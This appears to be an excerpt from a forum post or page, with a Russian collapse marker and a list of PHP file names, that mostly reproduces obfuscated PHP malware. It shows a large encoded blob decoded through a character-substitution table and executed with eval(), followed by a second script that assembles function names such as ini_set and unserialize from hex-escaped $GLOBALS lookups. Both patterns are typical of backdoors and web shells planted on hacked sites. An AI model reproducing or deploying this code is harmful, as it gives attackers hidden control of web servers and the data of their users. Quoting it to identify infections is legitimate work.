'tUx3riOAuU1jkUnjtUbwHEbMZO93ViO3ViO3VQLAYJ1N4Ry6oU'.
'dwkJdFw1TWH0TNVRx3CJdFw1TWH0TNZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrzi8AfxMckMF3YQLAKIOC5iO3ViLt5iO3'.
'ViO3ViO3CEXjzUx3riO0yBaYViO3ViO3ViXUl093YQXCVRx3aBh3CJx3giL6e0np'.
'jE9VCILHe5stVQXCu5hCVGaYViO3ViO3ViO3ViO3CETQCiqeVETQC5OAeG'.
'LAEQXjI5st5iO3ViO3ViO3ViO3VJbDV5OVYNLVhNx3gRx3CETQC5x3nQ93YQXrhUO3gRx3aGq6W5xC'.
'VkLaVQXrhUO3rRx3aGq6qiLpgiOVYNLVvAx3gRx3CETQC5x3nQ93YQXrhUO3gRx3aGqI75xCoiLt5iO3ViO3ViO3ViO3ViO3ViO'.
'AtJbwjiOKriOAeGLAEQXjIBaYViO3ViO3ViO3ViOWriXFt0dMVGaYViO3ViO3ViO3ViO3ViO3VQXpoEnMVfPeVQveyiOKV0T'.
'WhJbweU9VyQs3hbO0tiOAl0nSoBaYViO3ViO3ViO3ViOWrO93ViO3ViO3VkSYViO3ViO3ViLQjILFhE93CEXjzUst5iO3V'.
'iLe5O93ViOWaIbQtJbNVUyFzDTAoEdKVA84QsFrsJbIz5OAvJbIzxXFHUXFh5SYViO3VGaYViO3ViO3V'.
'iXjniOVHUXFnJbwjUOVyM84qMvIkF8FDFO0o5xWZO93ViO3ViO3ViO3ViXjniOVCIXHo0he+U1HPU1'.
'WeJbrz0hCVGaYViO3ViO3ViO3ViO3ViO3VIXHhET0VEnFTiLWY0XcHJbpj0CFKDdF'.
'aIXjlE9VCIXHo0he+EX7zUhVy0djyEnjzUh0oiOKVQhWR0XFzMc6NiXFKIXFz0djlE9W4J16vJbwyf90oBaYViO3ViO3ViO3V'.
'iOWrO93ViO3ViO3ViO3ViLQjILFhE93yQvt5iO3ViO3ViOWrO93ViO3ViO3V'.
'QLWhJ1UfU1jsILiVRxWnJbpj1dIjI7rPEdweUbwe0hVCIXHo0he+A84QsFra0njdD1Aj5st5iO'.
'3ViO3ViOWoU93YQLAYJ1N4RCAfxMck0X7v0TWY0n7vUx3HRx3yQhCVGaYViO3ViO3ViO3ViO3C0LQoIC4jGx3'.
'riXraUbwv0dpk0X4jGFryU1Ak0LQoIn7eUxVC0LQoIC4jGF6e09aVQLAYJ1N4RCAfxMck0X7v0TWY0n7vUxCZO93ViO3Vi'.
'O3VkxWjEL6jiLt5iO3ViO3ViO3ViO3VQLWhJ1UfU1CVRx3C0LQoIC4jGF6e0Pt5iO3ViO3'.
'ViOWrO93ViO3ViO3VJbDV5XraUbwv0dpk0djyE9VC0djyECHjDbAj09aVQL6oUdwHILFhUxaVQL'.
'WhJ1UfU1Co5xWZO93ViO3ViO3ViO3ViLQjILFhE9W9D16j6PAkUbwPEdAj5OAvJbIzD1Ac0nMoBaY'.
'ViO3ViO3ViLe5iO3ViO3ViOWhU1Ac0nKVQh0ZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrzi8AfxMckxXFHUXFhShVC0dj'.
'yECHjDbAj09C5iO3ViLt5iO3ViO3ViO3C0djyECHjDbAj093riLWhUbIk0nFaEX7PUxVyfcph1Xw00htlQhaVQh3'.
'yfO3C0djyECHjDbAj09CZO93ViO3ViO3VQXpoEnFviqeVU1HaEXrCUxV91LQ0E9itiOAvJbIzxXFHUXFh5st5i'.
'O3ViO3ViOWnETQjDb6YiOVCEXjzU1NVD1NVQX4jGx3rR93CEXjzUxCVGaY'.
'ViO3ViO3ViO3ViOWtJ16e5OAYUb7CJbwyfO3CIn7tIbMoiqeVU1HaEXrCUxVyB90tiOAtJbwjfO3h5st5iO3ViO3ViO3ViO3VQXH'.
'jDbAoEn0VRxWvILQeEdplIdFh5OAYUb7CJbwy5st5iO3ViO3ViO3ViO3VQLUHELFjiqeV0LQjUcrhU1WtDb6j5O0l1LNufh'.
'0tiO0VQhaVQLUHELFj5stVfhgVSdr40LQj0TNVI16jEXFv0hWv0X7PU1N5iO3ViO3ViO3ViO3VQXpoEnFvbhAu'.
'U1jIiqeVQXHjDbAoEn0Vf93yB90Vf9We0nj45OAdDbpcUxCZiOgli8AlE9IeiXUl0nIjIOWeEhWhUbclInMVFc6SiX7hETFzUOW'.
'eJXMVIn7tIbM5iO3ViO3ViOWrO93ViO3ViO3VQL6oUdwiUb7CU1iVRxW'.
'oE1WtEdAj5OQ00jpzi9aVQXpoEnFv5st5iO3ViO3ViOWhU1Ac0n'.
'KVQL6oUdwiUb7CU1iZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrzi8Afx'.
'MckSnrCGMNYQXQlULCoO93ViOWZO93ViO3ViO3VJbDV5OA9EdAwiqeriO0y5xWZO93'.
'ViO3ViO3ViO3ViLQjILFhE9391LQ0E9iZO93ViO3ViO3VkSYViO3ViO3ViOgliL6eDbQoEXj2UxWtJbwjiXFzUX'.
'jzUTN5iO3ViO3ViO3CDnrCGx3riL6e0jrhU1WtDb6j5OQ00jpzi9aVijpzi9aVQXQlULCoBaYViO3ViO3ViOA'.
'9EdAwiqeV0TAh1TQj0XpHDdMYijpzi9aVijph1XK9fO3CDnrCGxCZO93ViO3ViO3VfhgV'.
'AMw8iL6eDbQoEXj2UxWtJbwjiXFzUXjzUTN5iO3ViO3ViOWTJXjtUx3Y'.
'0TF90TAh5OA9EdAwfOWvILQtUbKYQXQlULCoiOeV6OaV6OCVRseVijph1Xw00jpzi9CVGaYV'.
'iO3ViO3ViO3ViO3CDnrCGx3riL6cDy6e09VCDnrCGxaVNOaV0TAhEXFz5OA9EdAw5x34iqioBaYViO3ViO3ViLe5iO3ViO3ViO'.
'WhU1Ac0nKVQXQlULCZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrzi8AfxMckSbAC5OAYUb7CU1Qv1dpoEnMtiOAvIbQmUb6'.
'efO3CDnrCGxC5iO3ViLt5iO3ViO3ViO3CA84Qs16oUdwHILFhUFAw0XMVR'.
'x3y0y6Hf16YDs8yBh3lfhWsJbIzD1Ac0nMVQ9WYD16YiX7tUdrhJ1AYE1N5iO3ViO3ViO3CA84Qs'.
'b6HEnrzJb6HEXj2D1AoEdKVRx3y0nFtD1HjUOrvJbcaEXMyBh3lfhWqDbwlEnjPDbpoGn7eJbrziXrniXH'.
'jDbAj09r9EdAwO93ViO3ViO3VQ8AfxMcpIbFhGx3riOICEyNlILHeQvtVfhgVM1Fj0yCVEbFeJXrC'.
'O93ViO3ViO3VQ8AfxMceJbcjiqeVIXj4UxVoBh3lfhWsJbIzD1Ac0nMVFXj4U16eDbc'.
'aiqeV0dFPEdwC0hWvJbwPUx3aNqYaNqYaNO34i8oHE93pfO3pBs0aiOHFF8NVIXj4UxW2Edwj5S'.
'YViO3ViO3ViOAvIbQmUb6e1dHjDbAj093riOQsIbQmUb6eB93C0TF9JnFPIOiZO9'.
'3ViO3ViO3VQXHjDbAj0yNVRxWjGLWtEdAj5OAeJXjvfswNAxaVQXHjDbAj0y6kEXjzUxCZO93ViO3ViO3VQXUhEdckJXFHUXF'.
'hiqeVQh0ZO93ViO3ViO3VQLAl1dHjDbAj093riO0yBaYViO3ViO3ViOAPI1QhUbweiqeVQ'.
'h0ZO93ViO3ViO3VUnrhUb7PJO3YQXHjDbAj0yNVD1NVQXHjDbAj09CVGaYViO'.
'3ViO3ViO3ViOWoU93Y0TAh0Xrv5OAYUb7CU1itiOIX0nr4B90oiqerRx3a5xWZO93ViO3ViO3ViO3ViO3ViO3CUyQlEFrYUb7C'.
'U1iVRx3CJXFHUXFhBaYViO3ViO3ViO3ViO3ViO3VQX6c0yQjEySVRx3y'.
'UyQlEFrYUb7CU1iyBaYViO3ViO3ViO3ViOWriXFt0dFoU93Y0TAh0Xrv5'.
'OAYUb7CU1itiOIMEvYy5x3rRseVNOCVGaYViO3ViO3ViO3ViO3Vi'.
'O3VQLAl1dHjDbAj093riOAYUb7CU1iZO93ViO3ViO3ViO3ViO3ViO3'.
'CDTFh0nFzIO3riOIeEcrYUb7CU1iyBaYViO3ViO3ViO3ViOWriXFt0dMVGaYViO3V'.
'iO3ViO3ViO3ViO3VJbDV5OAPI1QhUbweiODniL6e0yWl0hVCJXFHUXFhfO3yiqe/QhCVRseri'.
'q3oiLt5iO3ViO3ViO3ViO3ViO3ViO3ViO3CDTFh0nFzIO3zRx3CJXFHUXFhBaYViO3ViO3ViO3'.
'ViO3ViO3VkxWjEL6jiLt5iO3ViO3ViO3ViO3ViO3ViO3ViO3CDTFh0nFzIO3riO0yBaYViO3Vi'.
'O3ViO3ViO3ViO3VkSYViO3ViO3ViO3ViOWrO93ViO3ViO3VkSYViO3ViO3ViOAn0nr4iqeV'.
'0TAh1TQj0XpHDdMYQTayfO3yRsIqQhaVQLAYJ1N4RCAfxMckMF3YQXUhEdckJXFHU'.
'XFh5xCZO93ViO3ViO3VQLAliqeV0TAh1TQj0XpHDdMYQTayfO3yRsIqQhaVQLAYJ1N4RC'.
'AfxMckMF3YQLAl1dHjDbAj09CoBaYViO3ViO3ViOAvIbQmUb6eiqeV0TA'.
'h1TQj0XpHDdMYO93ViO3ViO3ViO3ViOIgQha5iO3ViO3ViO3ViO3VQveTSh0tO93ViO3ViO3ViO3ViOAeJXjvf'.
'sw8xej61c7S5OAvIbQmUb6e1dHjDbAj09C5iO3ViO3ViO3oBh3lfhWqETWoUbSVJXFHUX'.
'FhiXUoUbpC0h3YUX4oExcpIbreUbS40LQoEyAHDnpj5SYViO3ViO3ViOA9EdAwiqeV'.
'QLAYJ1N4RCAfxMckSnrCGMNYQXQlULCoBaYViO3ViO3ViOA8xej6EXFziqeV0TAhEXFz5OA9'.
'EdAw5stVfhgVsXFzUTAYiXrniXQlULC5iO3ViO3ViO3CA84Qsbid6O3riXQH0dMd67rjEn6lUXMY0X7PJhVyxOYyfOWvJ'.
'X8p5OA9EdAw5xCoBh3lfhWOD16j6PSVEdDV0X7PJdFCiXQoEn7hGxWsx884NxWYD1'.
'6YiXrniXQlULC5iO3ViO3ViO3CJbAjEySVRx3YQLAYJ1N4RCAfxMckJbAjEyAoILCVRseVQh0oiqgVQh0VB93yiXCrQh'.
'3ziOAeJXjvfsw8xej61djCUbweJ1AwiOKVQvtyBaYViO3ViO3ViOACJdj4JXAh0h3riOI8xej6fF6oUdwHILFhUsYVIPep'.
'BhWHRx0VfVYViO3ViO3ViO3ViO3CA84Qs16oUdwHILFhUFAw0XMVf93yBhWpRx0V'.
'fVYViO3ViO3ViO3ViO3CA84Qs17cU1QwiOKVQvtVEqeyiOK5iO3ViO'.
'3ViO3ViO3VQ8AfxMctUbKVf93yBhWvRx0VfVYViO3ViO3ViO3ViO3CIXHo0he+A84QsFrvUbpjDTAl093zO93ViO3ViO3ViO3V'.
'iOiZ1LQ0E9iVfVYViO3ViO3ViO3ViO391LAeRxiVf93CA84Qs1AoE'.
'bMVf93yBhWPRx0Vf93CA84Qsb6HEnrzJb6HEXj2D1AoEdKVf939Bcph1XK9iOK5iO3ViO3ViO3ViO3VijpeJ'.
'qcX0nr4BjAlBj6cDnojDTSZ1LQ0E9iVfVYViO3ViO3ViO3ViO391LACRxiVf93CIXHo0he+A84QsFrCEdcHJbKVf93yBh0'.
'Vf93CJbAjEySVf9391LQ0E9iVfVYViO3ViO3ViO3ViO391LA2RxA'.
'n0nr41LQ0E9iVfVYViO3ViO3ViO3ViO391LAgQLAl1LQ0E9iVfVYViO3ViO3ViO3ViO391LAgQL6cDnojDTSZ1L'.
'Q0E9iVfVYViO3ViO3ViO3ViO391LA9Jqe9iOKVQ8AfxMc96PSVf939Bcph1XK9iOK5iO3ViO3ViO3ViO3VijpeDPe9Ba'.
'YViO3ViO3ViOAeEc6oUdKVRx3CIXHo0he+A84QsFriUb7CU1Qq53YViO3ViO3ViO3ViO3CUy'.
'QlEFrYUb7CU1iVf9391LQ0E9iVf93CIXrkJXFHUXFhiOKVijph1XK9iOKVQL6cDnojDTAkJXFHUXFhiO'.
'KVijph1XK9iOKVQXAuJbcYULQvO93ViO3ViO3V5st5iO3ViO3ViO3C0djyEnFCiqeVQLAYJ1N4RCAfxMckMdjyE9VCIXrsJbIz5s'.
't5iO3ViO3ViOWhU1Ac0nKVQXAuJbcYULQviOKVQL6oUdwjUO3zi'.
'OQ00jpziPt5iO3ViLe5O93ViOWaIbQtJbNVUyFzDTAoEdKVUdFeFXrWUXA'.
'hU16vU1NY5SYViO3VGaYViO3ViO3ViLQjILFhE93CIXHo0he+IXgZO93ViOWrOVY5iO3ViLWcDnpoDhWnIbw'.
'PIXjlE9WyU1AqDe7CULQj0T6j0hVoO93ViOWZO93ViO3ViO3V0nFeI1QziOAeJXjvfswPDvt5iO3ViLe5OVYViO'.
'3V0LF9EXjPiXUcEn6eJbrziXIjI8QPDe7CULQj0T6j0hVoO93ViOWZO93ViO3ViO3V0nFeI1QziOAeJXjvfsw9DdNZO93ViOW'.
'rOVY5iO3ViLWcDnpoDhWnIbwPIXjlE9WyU1AxU1WtGFAlSbAC0nFv0dFv5OC5iO3ViLt5iO3ViO3ViOWhU1Ac0nKVQLAYJ1N'.
'4RjQj0XpwFXgZO93ViOWrOVY5iO3ViLWcDnpoDhWnIbwPIXjlE9WyU1AWEXpxUb6o0XjjEyAWUXAhU16vU1NY5SYViO3VG'.
'aYViO3ViO3ViLQjILFhE93CIXHo0he+Dbpt1TQjDdjaJbFzILNZO93ViOWrOVY5iO3ViLWhETAjDTAjUOWnIbwPIXjlE9WC'.
'Ee6HEXp9Db6u5OAo0c6jEyStiOAeEhaVQX6PfO3CDn6PfO3C0TF9JnFPIOaVQXQlULC'.
'tiOAn0nr45SYViO3VGaYViO3ViO3ViXjniOVHUbcaILCYQLAYJ1N4Rn7PIXjlEjrnIbwPIXjlE9CVQ9DVJ16kDd'.
'7tEX79EXMYQLAYJ1N4Rn7PIXjlEjrnIbwPIXjlE9CoiLt5iO3ViO3ViO3ViO3VQLWH0n740h3riX7h0n7w5OAo0'.
'c6jEyStiOAeEhaVQX6PfO3CDn6PfO3C0TF9JnFPIOaVQXQlULCtiOAn0'.
'nr45st5iO3ViO3ViO3ViO3VDd7tE7rc0dFh1dUcEn6kD1QhD1CYQLAYJ'.
'1N4Rn7PIXjlEjrnIbwPIXjlE9aVQLWH0n740hCZO93ViO3ViO3VkSYViO3VkSorOVoPEX7v0hWaJLW4DbjtU1Q7GX6j0LAoEd'.
'KVU1HeUbwC0hW7GX6j0LAoEdK5GaYViO3V0LF9EXjPiXUcEn6eJbrziXFh0nrhsbFv0d7yUxVo'.
'O93ViOWZO93ViO3ViO3VQXFh0nrhs16yiqeVQvpvILQlEn0+Qh3ziOAeJXjvfswyU1A6U16vDbIj5OCVf939ROrvILQlEn0+RXQ'.
'hiOg+1XK9BaYViO3ViO3ViLQjILFhE93CU1QhETQ60d0ZO93ViOWrOye5OVY5fh'.
'glfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfhglfh'.
'glfhg5OnUcEn6eJbrziL6jEnAsE1Aasb7oEOVCUyQlEFrjEb7oEOaVQXUhEdckEn74UxaVQL'.
'AlfO3C0TF9JnFPIOaVQXQlULCtiOAeG1WjfO3CDdrzUnjy1dUoEXMoOyt5OxA4DbjtiqeVEnFTi7WiM8cHJbpj09V'.
'oBaYQQXcHJba4Rnjvsb7oEOVoBaY5iO3ViOA4DbjtfswqJX7hMdFeiqeVQTFeU9eKQvt5OxA4DbjtfswsU1AX0nr45OAn'.
'0nr41dF4DbjtfO3CUyQlEFrzDbcj5st5OxA4DbjtfswWUXAWUXAhU16v5OAeEhCZOVCCEb7oEOe+MTF9JnFPIO3riOAv'.
'IbQmUb6eBaYQOVjoU93YQLAw0XMVRseViP895SYQGaYQOxA4Dbjtfsw60dIiF8cN5OA9EdAw5st5'.
'O1e5ObFt0dFoU93YQLAw0XMVRseViPi95SYQGaYQOxA4Dbjtfswo0eHMsMaYUn7t0dMoBaYQOxA4DbjtfswOEdA'.
'wiqeVQXQlULCZOVjrOVYQJbDV5Xjv0dFe5OAkACjNAFNo5SYQGaYQObUl0nFHDdVYQ7rXxMp7MhWH0h3CJdFwiqe+iOAnJbp'.
'j5SYQO1t5OSCQJbDV5OAnJbpjbhIeE1WkEn74UxIIiO8riOAPEdwnJ'.
'bIkUnjtUxC5OSCQGaYQOSCQQXcHJba4Rn7CU87eIX7PJXcjEySYQXUoEXFEQTA407rzDbcjQ'.
'cetiOAnJbpjbhIzDbcjQceoBaYQOSjrOVCQkSYQkSY5ObjniOVHQXcHJba4Ry6jEnSY5x'.
'C5O1t5OSjhU1Ac0nKVQXcHJba4RCFh0nrhxbwnEvt5O1e5ObFt0dM5O1t5OSjhU1Ac0nKVNqt5O1e5'.
'kSY5JbDV5Xjv0dFe5OAkACjNAFNo5SoZOVjnETQjDb6Y5OAkACjNAFNVD1NVQX4jGx3rR'.
'93CUnjtUxC5O1t5OSjoU9HvILQaETNYQXUoEXFEQdwHEbMy1xaVi9wm0X095xC5OSjZOVCQOxAhU1NVRxWeG1WjNFrvUbwC5O'.
'AnJbpjbhIeE1WkEn74UxII5st5iO3ViO3ViO3ViO3VJbDV5OAhU1No'.
'O93ViO3ViO3ViO3ViLt5iO3ViO3ViO3ViO3ViO3ViXFPJXgVQLQj0vt5iO3ViO3ViO3ViO3VkS'.
'YQO1e5O1e5kSY5OnUcEn6eJbrziXcwJXFKNnQoE9VVQL6e093oiL'.
't5iO3ViOAvDnjziqeVi9iZO93ViO3CEXFziqeV0TAhEXFz5O3C0TAhiOCZO'.
'93ViOWnETiV5O3CJx3riq3ZiOAoiqaVQXpjEPtVQXCV5veVN93oiLt5'.
'iO3ViO3ViO3C0dQoE93zRxWaDb6u5O39xOY9fOWvIbQvILiYiOAvILitiOAofO3hiOCV5st5iO3ViLe5O93ViOWhU1Ac0nKVQL69'.
'JbKZOye5OVonIbwPIXjlE9WCUb6lUXMYQXAHIX8tiOAuU1CoOyt5'.
'OxAlI1AkUX7eDx3riOi9BaY5ObUl093YQXCrNqtVQXCg0TAhEXFz5OACD1AH5stoOVjZOVCQUnrhiOVCJPeaBh3CJPpvI'.
'LQtUbKYQX4jGxCVQ9DVQXCg0TAhEXFz5OACD1AH5stVQXYu5haVQXCu5hC5OSjZOVCQOxAlI1AkUX7eDx'.
'3zRxWPJLiYETQC5OACD1AHbhAo1xCV19Wl0nSYQX4jGFtCJjeo5st5OSjrOVjrOVYQ0nFeI1QziOAlI1AkUX7eDst5'.
'kSY5UyFzDTAoEdKVILjaUs7k0dFzUOVCDdrzUnjy1dUoEXMoOyt5iO3ViOACD1AHiqeVUnjtUFryU1AkDd'.
'rzIXFzILNYQX6lEnUoUcrnJbpj5st5OxAvIX7hI7raETNVRxWvILQaETNYQXAHIX8tiXcwJX'.
'FKNnQoE9V9UnUCDxio5st5ObjniOVC0TAH0yAk0Xrv5SYQGaYQOxAvIX7hI7raETNV5veV5qia5st5OS'.
'CCUbwC1TWl0h3riL6e0yQaETNYQXAHIX8tiXcwJXFKNnQoE9V9UnUCBxio'.
'5st5OSjoU93YQXFzU7raETNoOVCQGaYQOSCCUX7eDx3riL6cDy6e09VCUX7eDxaVQL6e'.
'D1Qe1TWl0haVQXFzU7raETNoBaYQO1e5OSjjEL6jOVCQGaYQOSjhU1Ac0nKVAC7NMeMZOVCQkSY'.
'QkSYQUbpvUSYQGaYQO1QjILFhE9WXSMpsAst5O1e5O93ViO3CJdFwiqeVQ7rsAFQbAFQEQeHMF7Wkx8rsFOIIiOKVQ7rsAFQb'.
'AFQEQcQ7MFF7McAkFFQQQceZO93ViO3CUX7eDx3riXAjDdrCUxVCUX7eDxaVQX4jGxCZOVCCUX7eDx3ri8WcEy6j0njHEXj'.
'2UxVCUX7eDxCZOVYViO3VJbDV5O8CUX7eDxWgkO3HJ16vU1SYQXAHIX7EQd7uQceo5SYViO'.
'3VGaYViO3ViO3ViLQjILFhE9WXSMpsAst5iO3ViLe5OVjoU93YQXAHIX7EQd7'.
'uQceViseVinFCUniwBqAPfs7nNqD46XDeNxeKBqCdfsMaBsDpUqNhNbM'.
'TN9ioOVjZOVCQU1HoIOVoBaYQkSY5iO3ViXjniOHo0T6jIOVCUX7eDFtyDhII5xC5iO3ViLt5iO3ViO3ViO3C0nFvbhQhijc'.
'EinN91x3riOACD1AHbhIPQceZO93ViO3ViO3V0nFeI1QziXQH0dMd67rjEn6lUXMY0dFhJb7tJ1oj5OAhU1No5st5O93ViOWrOV'.
'YQQXIlEdSVRx3aBaYQQXQHUO3riq3ZOVCCEX7vI7rj0yQl093riq3ZOVYQU'.
'nrhUb7PJO3YQXAHIX7EQdMy1xWH0h3CIbjCRsKCUbcHJbaoOVjZOVCQQLAYUbcjiqeVQXAHIX7EQTNy1F4H0yQHGFrhDbwC5'.
'OACD1AHbhIvQceo1st5OSCCIXHjEbMVRxWHELAj0jr4Db6hETNYQLAYUbcj5st5OSCCIXH'.
'jEbMVRxWzIbckEb7P0nrv5OAeJXF4UxCZOVCQQLAYUbcjiqeVGXwcEFr4Db6hETNYQLAYUbcj'.
'5st5OVCQQXcj0T6HUdMVRx3CUX7eDFtyEOIIBaYQOxA4U16vDbIjiqeVDbpeU1QkEb7'.
'P0nrv5OA4U16vDbIj5st5OSCCEbFv0d7yUx3riXwcEFr4Db6hETNYQX'.
'cj0T6HUdMoBaYQOxA4U16vDbIjiqeVGXwcEFr4Db6hETNYQXcj0T6HUdMoBaYQOxA4U16vDbIjiqeV'.
'UyAjJbpkEb7P0nrv5OA4U16vDbIjfO3CIbjC5st5OVCQQXUhEdeVRx3CUX7eDFtyU9IIbd7h0n7w1TQ'.
'HEnSYQXAHIX7EQdDy1xjIBaYQOxAn0nr4iqeVDbpeU1QkEb7P0nrv5OAn0nr45st5OSCCUyQlEx3riXwcEFr4Db6hETNYQ'.
'XUhEdeoBaYQOxAn0nr4iqeVGXwcEFr4Db6hETNYQXUhEdeoBaYQOSYQObjniOHvILQvILiYQXUhEdetiOQ'.
'EScFsF8r61xioiqeri8UWs7675SYQO1t5OSCQQXUhEdeVRxWn0nr41dHl0TSYQXUhEdeoBaYQO1e5OSjjEL6jOVC'.
'QGaYQOSCCUyQlEx3riL6e0jrhU1WtDb6j5OQEScFsF8r61xitiOi9fO3CUyQlExCZOVCQkSYQOSYQOxAn0'.
'nr41dF4DbjtiqeVU1HaEXrCUxV9ROitiOAn0nr45st5OSCCUyQlEFrjEb7oEO3riXFK0XplUXMYiPK9fO3CUyQlEFrjEb7o'.
'E7tp1xCZOVCQQXUhEdckEn74Ux3riXFK0XplUXMYija9i9aVQXUhEdeoBaY5OSCCEX7vI7rj0yQl093r'.
'iL6jEnAsE1Aasb7oEOVCUyQlEFrjEb7oE7ta1xaVQXUhEdckEn74UFtp1xaVQXF4DbjtfO3'.
'CIXHjEbMtiOA4U16vDbIjfO3CUX7eDFtyELSy1xaVQX6lEnUoUcrnJbpj5st5OSC5OSjoU93YQXpH0TAkU1QhETiVRs'.
'eriq3oOVCQGaYQOSCCUdrlUOtuBaYQO1e5OSjjEL6jOVCQGaYQOSCCDn7C5htZOVCQOxAyEdrCiqeVDdrcEySYQXAHIX'.
'7EQdMy1xCVfx3CDn7CBaYQO1e5O1e5OVCC0nFvbhQhijcEinM91'.
'x3riOAtD16e1dFh0nrhiqerRxWXSMpsAx3/iq3VB93CEX7vI7rj0yQl0Pt5OxAhU16Eiyi91Ft9UhQ'.
'IiqeVQXIlEdSZOVCC0nFvbhQhijcEini91x3riOA9DbSZOVYQ0nFeI1QziXQH0dMd6'.
'7rjEn6lUXMY0dFhJb7tJ1oj5OAhU1No5st5kSY=';
$zgfjlaxi = Array('1'=>'X', '0'=>'c', '3'=>'A', '2'=>'6', '5'=>'K', '4'=>'t', '7'=>'F', '6'=>'N', '9'=>'i', '8'=>'E', 'A'=>'R', 'C'=>'k', 'B'=>'O', 'E'=>'b', 'D'=>'Y', 'G'=>'e', 'F'=>'V', 'I'=>'d', 'H'=>'h', 'K'=>'4', 'J'=>'a', 'M'=>'U', 'L'=>'H', 'O'=>'C', 'N'=>'M', 'Q'=>'J', 'P'=>'j', 'S'=>'Q', 'R'=>'P', 'U'=>'Z', 'T'=>'3', 'W'=>'B', 'V'=>'g', 'Y'=>'o', 'X'=>'G', 'Z'=>'7', 'a'=>'w', 'c'=>'1', 'b'=>'W', 'e'=>'0', 'd'=>'2', 'g'=>'8', 'f'=>'L', 'i'=>'I', 'h'=>'y', 'k'=>'f', 'j'=>'l', 'm'=>'q', 'l'=>'v', 'o'=>'p', 'n'=>'m', 'q'=>'D', 'p'=>'x', 's'=>'T', 'r'=>'9', 'u'=>'r', 't'=>'s', 'w'=>'5', 'v'=>'z', 'y'=>'n', 'x'=>'S', 'z'=>'u');
eval(tlzanh($azjppsbx, $zgfjlaxi));?>

[свернуть]
press95.php list27.php javascript2.php info.php и другие.

<?php $GLOBALS['jd41f'] = "\xd\x63\x73\x44\x6b\x2d\x3b\x29\x2a\x47\x2e\x70\x79\x46\x5f\x3e\x4b\x3c\x5b\x67\x43\x9\x64\x33\x20\x4f\x54\x71\x41\x25\x7a\x4a\x52\x45\x6c\x24\x6f\x7c\x5d\x36\x6a\x21\x61\x5e\x62\x58\x3a\x34\x22\x4c\x72\x2b\x69\x27\x59\x77\x48\x2f\x50\x26\x53\x6e\x7b\x56\x76\x57\x75\x39\x30\x78\x31\x38\x51\x55\x74\x68\xa\x49\x7d\x37\x6d\x2c\x28\x65\x66\x3d\x32\x5c\x4e\x4d\x40\x60\x35\x7e\x5a\x23\x42\x3f";
$GLOBALS[$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][83]] = $GLOBALS['jd41f'][1].$GLOBALS['jd41f'][75].$GLOBALS['jd41f'][50];
$GLOBALS[$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][84]] = $GLOBALS['jd41f'][36].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][22];
$GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][47]] = $GLOBALS['jd41f'][22].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][83];
$GLOBALS[$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][79]] = $GLOBALS['jd41f'][2].$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][34].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][61];
$GLOBALS[$GLOBALS['jd41f'][12].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][92]] = $GLOBALS['jd41f'][22].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][22];
$GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][42]] = $GLOBALS['jd41f'][52].$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][2].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][74];
$GLOBALS[$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][42]] = $GLOBALS['jd41f'][2].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][34].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][83];
$GLOBALS[$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][67].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][39]] = $GLOBALS['jd41f'][11].$GLOBALS['jd41f'][75].$GLOBALS['jd41f'][11].$GLOBALS['jd41f'][64].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][2].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][61];
$GLOBALS[$GLOBALS['jd41f'][64].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][68]] = $GLOBALS['jd41f'][66].$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][2].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][34].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][83];
